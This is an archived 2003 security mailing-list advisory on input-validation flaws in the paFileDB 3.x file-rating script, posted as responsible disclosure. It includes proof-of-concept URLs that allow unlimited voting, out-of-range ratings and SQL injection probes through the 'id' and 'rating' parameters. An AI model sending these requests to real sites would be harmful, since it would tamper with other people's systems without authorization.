lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <5.1.0.14.2.20030324105748.046550c8@mail.tht.net>
From: flur at flurnet.org (flur)
Subject: paFileDB 3.x SQL Injection Vulnerability

Flurnet Security
----------------
paFileDB by todd@...arena.net
PHP Arena http://www.phparena.net


Tested on:
         paFileDB 3.0 Final
         paFileDB 3.0 Beta 3.1
         paFileDB 3.1 Final


Explanation:

paFileDB is a file management script that supports user file rating. It 
uses an SQL database backend. Multiple vulnerabilities exist due to the 
lack of checked input variables. The following exploits exist:
  - Modified 'id' tag allows users to submit unlimited ratings.
  - Hand-edited 'rating' tag allows users to submit ratings above 10 or 
below 0.
  - Both tags do not check for escape characters and will allow SQL injection.


Proof-Of-Concept Exploits:

http://target/pafiledb/pafiledb.php?action=rate&id=1[RANDOM]&rate=dorate&rating=10
Replace [RANDOM] with a random short string and the script will not be stop 
you from voting as many times as you like.


http://target/pafiledb/pafiledb.php?action=rate&id=1&rate=dorate&rating=1000
Submit file rating of 1000 out of 10. Drive rate up. Conversely, -1000 
would have the opposite effect driving the rating down.

http://target/pafiledb/pafiledb.php?action=rate&id=1&rate=dorate&rating=`
http://target/pafiledb/pafiledb.php?action=rate&id=`&rate=dorate&rating=10
SQL Injection vulnerability (exploit code not included)


Script authors have been notified.


____________________ __ _
~FluRDoInG                        flur@...rnet.org
                             http://www.flurnet.org
KEY ID 0x8C2C37C4 (pgp.mit.edu) RSA-CAST 2048/2048
1876 B762 F909 91EB 0C02  C06B 83FF E6C5 8C2C 37C4


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ